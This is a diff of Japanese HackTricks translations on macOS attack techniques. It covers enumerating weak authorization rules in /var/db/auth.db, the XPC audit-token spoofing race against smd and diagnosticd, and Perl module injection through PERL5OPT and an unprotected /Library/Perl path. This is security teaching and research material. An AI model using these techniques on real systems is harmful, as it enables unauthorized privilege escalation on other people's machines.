注意してください。そのメソッドを呼び出す権限を取得するための要件を**チェックする**には、関数`authorizationRightForCommand`は単に以前にコメントされたオブジェクト**`commandInfo`**をチェックします。その後、関数を呼び出します**`AuthorizationCopyRights`** その関数を呼び出す権限があるかどうかをチェックするために(フラグがユーザーとのやり取りを許可することに注意してください)。
|
||||
|
||||
この場合、`readLicenseKeyAuthorization` 関数を呼び出すには、`kCommandKeyAuthRightDefault` が `@kAuthorizationRuleClassAllow` に定義されています。そのため、**誰でもそれを呼び出すことができます**。
|
||||
この場合、関数`readLicenseKeyAuthorization`を呼び出すために、`kCommandKeyAuthRightDefault`は`@kAuthorizationRuleClassAllow`に定義されています。そのため、**誰でもそれを呼び出すことができます**。
|
||||
|
||||
### データベース情報
|
||||
|
||||
この情報は `/var/db/auth.db` に保存されていると言及されています。以下のコマンドで保存されているすべてのルールをリストアップできます:
|
||||
この情報は`/var/db/auth.db`に保存されていると言及されています。次のコマンドで保存されているすべてのルールをリストアップできます:
|
||||
```sql
|
||||
sudo sqlite3 /var/db/auth.db
|
||||
SELECT name FROM rules;
|
||||
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||
```
|
||||
その後、次のようにして誰が権限にアクセスできるかを確認できます:
|
||||
その後、誰がアクセス権を持っているかを確認できます:
|
||||
```bash
|
||||
security authorizationdb read com.apple.safaridriver.allow
|
||||
```
|
||||
|
@ -261,14 +261,16 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
**すべての権限構成**は[こちら](https://www.dssw.co.uk/reference/authorization-rights/)で見つけることができますが、ユーザーの操作が必要ない組み合わせは次のとおりです:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要がありません。
|
||||
* これは、**以下の2つのいずれかと組み合わせるか、ユーザーが所属するグループを示す**ために使用されます。
|
||||
* これは最も直接的なキーです。`false`に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要はありません。
|
||||
* これは、**以下のいずれかと組み合わせるか、ユーザーが所属するグループを示す**ために使用されます。
|
||||
2. **'allow-root': 'true'**
|
||||
* ユーザーがルートユーザーとして操作しており(昇格された権限を持つ)、かつこのキーが`true`に設定されている場合、ルートユーザーは追加の認証なしでこの権利を取得できる可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なので、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
|
||||
3. **'session-owner': 'true'**
|
||||
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を取得します。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
|
||||
4. **'shared': 'true'**
|
||||
* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には引き続き認証が必要です(`'authenticate-user': 'false'`などの他のキーと組み合わせていない限り)。
|
||||
* このキーは認証なしで権利を付与しません。代わりに、`true`に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には認証が必要ですが、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証が必要です。
|
||||
|
||||
興味深い権利を取得するには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます。
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -279,17 +281,17 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## 認可のリバース
|
||||
## 認可のリバースエンジニアリング
|
||||
|
||||
### EvenBetterAuthorization の使用を確認する
|
||||
|
||||
関数 **`[HelperTool checkAuthorization:command:]`** を見つけた場合、おそらくプロセスは認可のために以前に言及したスキーマを使用しています:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この関数が `AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree` などの関数を呼び出している場合、[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) を使用しています。
|
||||
|
||||
特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために、**`/var/db/auth.db`** をチェックしてください。
|
||||
特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために **`/var/db/auth.db`** をチェックしてください。
|
||||
|
||||
### プロトコル通信
|
||||
|
||||
|
@ -297,11 +299,11 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
関数 **`shouldAcceptNewConnection`** はエクスポートされているプロトコルを示しています:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この場合、EvenBetterAuthorizationSample と同じものがあります、[**この行をチェック**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
使用されているプロトコルの名前を知ることで、**そのヘッダー定義をダンプ**することが可能です:
|
||||
使用されているプロトコルの名前を知ることで、**そのヘッダー定義をダンプ** することが可能です:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -321,7 +323,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* launchd の plist ファイル内:
|
||||
* launchd plist 内で:
|
||||
```xml
|
||||
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||
|
||||
|
@ -429,10 +431,10 @@ NSLog(@"Finished!");
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加** するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) を **フォロー** してください。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じてゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
**詳細については、元の投稿を確認してください:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。これは要約です:
|
||||
**詳細は元の投稿をご確認ください:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)。これは要約です:
|
||||
|
||||
## Machメッセージの基本情報
|
||||
|
||||
|
@ -25,7 +25,7 @@ Machメッセージが何かわからない場合は、このページをチェ
|
|||
{% endcontent-ref %}
|
||||
|
||||
今のところ、([ここからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Machメッセージは_machポート_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスが** machポートにメッセージを送信できますが、いつでも**単一のプロセスだけが**それから読み取ることができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
|
||||
Machメッセージは_machポート_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスがmachポートにメッセージを送信**できますが、いつでも**単一のプロセスだけがそれを読む**ことができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
|
||||
|
||||
## XPC接続
|
||||
|
||||
|
@ -39,53 +39,53 @@ XPC接続がどのように確立されるかわからない場合は、次を
|
|||
|
||||
あなたが知っておくべき興味深い点は、**XPCの抽象化は1対1の接続**であるが、**複数の送信者を持つ技術**に基づいているということです:
|
||||
|
||||
- Machポートは単一の受信者、**複数の送信者**です。
|
||||
- XPC接続の監査トークンは、**最後に受信したメッセージからコピーされた監査トークン**です。
|
||||
- XPC接続の**監査トークンを取得**することは、多くの**セキュリティチェック**にとって重要です。
|
||||
* Machポートは単一の受信者、**複数の送信者**です。
|
||||
* XPC接続の監査トークンは、**最後に受信したメッセージからコピー**されます。
|
||||
* XPC接続の**監査トークン**を取得することは、多くの**セキュリティチェック**にとって重要です。
|
||||
|
||||
前述の状況は有望に聞こえますが、問題を引き起こさないシナリオもあります ([ここから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続要求として処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内で監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証するXPC接続を探しています**。
|
||||
- XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラを呼び出す前に、次のメッセージのイベントハンドラを完了する必要があります。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(返信でない!)メッセージによって上書きされることはありません**。
|
||||
* 監査トークンは、接続を受け入れるかどうかを決定するための認可チェックによく使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、追加の接続リクエストとして処理されます。したがって、**接続を受け入れる前のチェックは脆弱ではありません**(これは、`-listener:shouldAcceptNewConnection:`内で監査トークンが安全であることを意味します)。したがって、**特定のアクションを検証するXPC接続を探しています**。
|
||||
* XPCイベントハンドラは同期的に処理されます。つまり、1つのメッセージのイベントハンドラが次のメッセージのイベントハンドラを呼び出す前に完了する必要があります。したがって、**XPCイベントハンドラ内では、監査トークンは他の通常の(返信でない!)メッセージによって上書きされることはありません**。
|
||||
|
||||
これが悪用される可能性がある2つの異なる方法:
|
||||
|
||||
1. Variant1:
|
||||
- **Exploit**はサービス**A**とサービス**B**に**接続**します
|
||||
- サービス**B**は、ユーザーができない**サービスAの特権機能**を呼び出すことができます
|
||||
- サービス**A**は、**`dispatch_async`**内で**`xpc_connection_get_audit_token`**を呼び出す間、**イベントハンドラ内にいない**状態で**監査トークン**を取得します。
|
||||
- したがって、**異なる**メッセージが**監査トークンを上書き**する可能性があります。これは、イベントハンドラの外部で非同期にディスパッチされているためです。
|
||||
- Exploitは**サービスAに対してSEND権限をサービスBに渡します**。
|
||||
- したがって、svc **B**は実際にはサービス**A**に**メッセージを送信**します。
|
||||
- **Exploit**は**特権アクションを呼び出そうとします**。RC svc **A**はこの**アクション**の認可を**チェック**しますが、**svc Bが監査トークンを上書き**したため(悪用が特権アクションを呼び出す権限を与えられる)、悪用がアクションを呼び出す権限を得ることができます。
|
||||
* **Exploit** がサービス **A** とサービス **B** に **接続**します
|
||||
* サービス **B** は、ユーザーができない**特権機能**をサービス **A** で呼び出すことができます
|
||||
* サービス **A** は、**`dispatch_async`**内で **`xpc_connection_get_audit_token`** を呼び出す間、**イベントハンドラ**内に**いない**状態で監査トークンを取得します。
|
||||
* したがって、**異なる**メッセージが**監査トークンを上書き**できるため、イベントハンドラの外部で非同期にディスパッチされています。
|
||||
* Exploit は、**サービス A に対して SEND 権限をサービス B に渡します**。
|
||||
* したがって、svc **B** は実際にはサービス **A** に**メッセージを送信**します。
|
||||
* **Exploit** は**特権アクションを呼び出そうとします**。RC svc **A** は、**svc B が監査トークンを上書き**したかどうかの認証をチェックします(これにより、悪用が特権アクションを呼び出す権限を与えられます)。
|
||||
2. Variant 2:
|
||||
- サービス**B**は、ユーザーができない**サービスAの特権機能**を呼び出すことができます
|
||||
- Exploitは、**サービスA**に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
|
||||
- Exploitは、**サービスB**に**そのリプライポート**を渡すメッセージを送信します。
|
||||
- サービス**Bが応答する**と、**サービスAにメッセージを送信**し、**悪用**は**サービスAに異なるメッセージを送信**し、特権機能に到達しようとし、サービスBからの返信が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
* サービス **B** は、ユーザーができない**特権機能**をサービス **A** で呼び出すことができます
|
||||
* Exploit は、**サービス A** に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
|
||||
* Exploit は、**サービス B** に**そのリプライポート**を渡すメッセージを送信します。
|
||||
* サービス **B が応答する**と、**サービス A にメッセージを送信**し、**悪用**は**サービス A に異なるメッセージを送信**し、特権機能に到達しようとし、サービス B からの返信が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
|
||||
## Variant 1: イベントハンドラ外でxpc\_connection\_get\_audit\_tokenを呼び出す<a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
## Variant 1: イベントハンドラ外で xpc\_connection\_get\_audit\_token を呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
シナリオ:
|
||||
|
||||
- サンドボックスプロファイルと接続を受け入れる前の認可チェックに基づいて、両方に接続できる2つのmachサービス**`A`**と**`B`**。
|
||||
- _**A**_は、**`B`**が通過できる特定のアクションの**認可チェック**を持っている必要があります(ただし、アプリはできません)。
|
||||
- たとえば、Bにはいくつかの**権限**があるか、**root**として実行されている場合、Aに特権アクションを実行するように要求することができるかもしれません。
|
||||
- この認可チェックでは、**`A`**は、例えば`dispatch_async`から`xpc_connection_get_audit_token`を呼び出すことによって、監査トークンを非同期で取得します。
|
||||
* 両方に接続できる2つのmachサービス **`A`** と **`B`**(サンドボックスプロファイルと接続を受け入れる前の認可チェックに基づく)。
|
||||
* **`A`** は、**`B`** が通過できる特定のアクションの**認可チェック**を持っている必要があります(ただし、アプリはできません)。
|
||||
* たとえば、Bにはいくつかの**権限**があるか、**root**として実行されている場合、Aに特権アクションを実行するように要求することができるかもしれません。
|
||||
* この認可チェックでは、**`A`** は、例えば `dispatch_async` から `xpc_connection_get_audit_token` を呼び出すことによって、監査トークンを非同期で取得します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この場合、攻撃者は**Race Condition**をトリガーし、**`Aにアクションを実行するように要求するexploit**を複数回実行し、**BがAにメッセージを送信**するようにします。RCが**成功する**と、**B**の**監査トークン**が**メモリにコピー**され、**exploit**の**リクエスト**が**Aによって処理**される間に、特権アクションに**アクセス**できるようになります。
|
||||
この場合、攻撃者は **`Aにアクションを実行するように要求する` 悪用** をトリガーし、**Bが`A`にメッセージを送信**する間に **競合状態** を引き起こす可能性があります。RCが**成功する**と、**B**の**監査トークン**が**メモリにコピー**され、**悪用**の**要求**が **Aによって処理**される間に、**Bだけが要求できる特権アクションにアクセス**できるようになります。
|
||||
{% endhint %}
|
||||
|
||||
これは、**`A`**が`smd`として、**`B`**が`diagnosticd`として発生しました。 smbの[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、新しい特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されるプロセスが**smd**に連絡すると、他のチェックは実行されません。
|
||||
これは、**`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。 smb の関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、新しい特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されているプロセスが **smd** に連絡すると、他のチェックは実行されません。
|
||||
|
||||
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスを監視するために使用できます。したがって、監視が開始されると、1秒あたり**複数のメッセージを送信**します。
|
||||
したがって、サービス **B** は **`diagnosticd`** であり、**root**として実行されているため、プロセスを監視するために使用できます。したがって、監視が開始されると、1秒あたりに**複数のメッセージを送信**します。
|
||||
|
||||
攻撃を実行するには:
|
||||
|
||||
1. 標準のXPCプロトコルを使用して、`smd`という名前のサービスに**接続**を開始します。
|
||||
2. `diagnosticd`に二次的な**接続**を形成します。通常の手順とは異なり、新しい2つのmachポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd`接続に関連付けられた**送信権限**の複製で置き換えられます。
|
||||
3. その結果、XPCメッセージを`diagnosticd`にディスパッチできますが、`diagnosticd`からの応答は`smd`にリダイレクトされます。`smd`にとっては、ユーザーと`diagnosticd`からのメッセージが同じ接続から発信されているように見えます。
|
||||
1. 標準のXPCプロトコルを使用して、`smd` という名前のサービスに **接続** を開始します。
|
||||
2. `diagnosticd` に二次的な **接続** を形成します。通常の手順とは異なり、新しい2つのmachポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd` 接続に関連付けられた **送信権限** の複製で置き換えられます。
|
||||
3. その結果、XPCメッセージを `diagnosticd` にディスパッチできますが、`diagnosticd` からの応答は `smd` にリダイレクトされます。`smd` にとっては、ユーザーと `diagnosticd` からのメッセージが同じ接続から発信されているように見えます。
|
||||
|
||||
![攻撃プロセスを描いた画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. 次のステップでは、`diagnosticd`に選択したプロセス(おそらくユーザー自身のプロセス)の監視を開始するよう指示します。同時に、`smd`にルーチンの1004メッセージの洪水を送信します。ここでの意図は、特権を持つツールをインストールすることです。
|
||||
|
@ -93,12 +93,12 @@ XPC接続がどのように確立されるかわからない場合は、次を
|
|||
|
||||
## 変種2: 返信の転送
|
||||
|
||||
XPC(クロスプロセス通信)環境では、イベントハンドラは同時に実行されませんが、返信メッセージの処理には独自の動作があります。具体的には、返信を期待するメッセージを送信するために2つの異なるメソッドが存在します。
|
||||
XPC(クロスプロセス通信)環境では、イベントハンドラは同時に実行されませんが、返信メッセージの処理には独自の動作があります。具体的には、返信を期待するメッセージを送信するための2つの異なるメソッドが存在します。
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: ここでは、XPCメッセージは指定されたキューで受信および処理されます。
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: これに対して、このメソッドでは、XPCメッセージは現在のディスパッチキューで受信および処理されます。
|
||||
|
||||
この違いは重要です。これにより、**返信パケットがXPCイベントハンドラの実行と同時に解析される可能性**が生じます。特に、`_xpc_connection_set_creds`は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、この保護を接続オブジェクト全体には拡張していません。その結果、パケットの解析とそのイベントハンドラの実行の間に監査トークンが置換される脆弱性が生じます。
|
||||
この違いは重要です。なぜなら、**返信パケットがXPCイベントハンドラの実行と同時に解析される可能性がある**からです。特筆すべきは、`_xpc_connection_set_creds`が監査トークンの部分的な上書きを防ぐためにロックを実装しているが、この保護を接続オブジェクト全体には拡張していないことです。その結果、パケットの解析とそのイベントハンドラの実行の間に監査トークンが置換される脆弱性が生じます。
|
||||
|
||||
この脆弱性を悪用するには、次のセットアップが必要です:
|
||||
|
||||
|
@ -111,25 +111,25 @@ XPC(クロスプロセス通信)環境では、イベントハンドラは
|
|||
|
||||
1. サービス **`A`** が返信を期待するメッセージを送信するのを待ちます。
|
||||
2. 直接 **`A`** に返信する代わりに、返信ポートを乗っ取り、サービス **`B`** にメッセージを送信します。
|
||||
3. その後、禁止されたアクションを含むメッセージが送信され、**`B`** の返信と同時に処理されることが期待されます。
|
||||
3. その後、禁止されたアクションを含むメッセージがディスパッチされ、**`B`** からの返信と同時に処理されることが期待されます。
|
||||
|
||||
以下は、説明された攻撃シナリオの視覚的表現です:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 発見の問題
|
||||
|
||||
* **インスタンスの特定の難しさ**: `xpc_connection_get_audit_token`の使用例を静的および動的に検索することは困難でした。
|
||||
* **方法論**: `xpc_connection_get_audit_token`関数をフックするためにFridaを使用し、イベントハンドラから発信されない呼び出しをフィルタリングしました。ただし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
|
||||
* **分析ツール**: IDA/Ghidraなどのツールを使用して到達可能なマッハサービスを調査しましたが、dyld共有キャッシュを含む呼び出しによって複雑化され、時間がかかりました。
|
||||
* **スクリプトの制限**: `dispatch_async`ブロックからの`xpc_connection_get_audit_token`への呼び出しを解析する試みは、ブロックの解析とdyld共有キャッシュとの相互作用の複雑さによって妨げられました。
|
||||
* **スクリプトの制限**: `dispatch_async`ブロックからの`xpc_connection_get_audit_token`への呼び出しを解析する際の複雑さとdyld共有キャッシュとの相互作用により、スクリプト化された解析の試みが妨げられました。
|
||||
|
||||
## 修正 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **報告された問題**: `smd`内で見つかった一般的および特定の問題について、Appleに報告が提出されました。
|
||||
* **Appleの対応**: Appleは、`smd`内の問題を解決するために、`xpc_connection_get_audit_token`を`xpc_dictionary_get_audit_token`で置き換えました。
|
||||
* **修正の性質**: `xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたマッハメッセージから監査トークンを直接取得するため、安全と見なされます。ただし、`xpc_connection_get_audit_token`と同様に、これは公開APIの一部ではありません。
|
||||
* **Appleの対応**: Appleは、`smd`内の問題を`xpc_connection_get_audit_token`から`xpc_dictionary_get_audit_token`に置き換えることで対処しました。
|
||||
* **修正の性質**: `xpc_dictionary_get_audit_token`関数は、受信したXPCメッセージに関連付けられたマッハメッセージから監査トークンを直接取得するため、安全であると見なされます。ただし、これは`xpc_connection_get_audit_token`と同様に公開APIの一部ではありません。
|
||||
* **より包括的な修正の欠如**: Appleが接続の保存された監査トークンと一致しないメッセージを破棄するなど、より包括的な修正を実装しなかった理由は明確ではありません。特定のシナリオ(たとえば、`setuid`の使用)で正当な監査トークンの変更が可能である可能性があることが要因かもしれません。
|
||||
* **現在の状況**: 問題はiOS 17およびmacOS 14で依然として存在し、それを特定し理解しようとする人々にとって課題となっています。
|
||||
|
|
|
@ -8,8 +8,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -42,7 +42,7 @@ system('whoami');
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
その後、環境変数を使用します:
|
||||
そして、環境変数を使用します:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
|
@ -64,13 +64,13 @@ perl -e 'print join("\n", @INC)'
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
いくつかの返されたフォルダは存在しないが、**`/Library/Perl/5.30`** は**存在**し、**SIP** によって**保護されていない**上に、**SIP によって保護されたフォルダよりも前に位置している**。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができる可能性がある。
|
||||
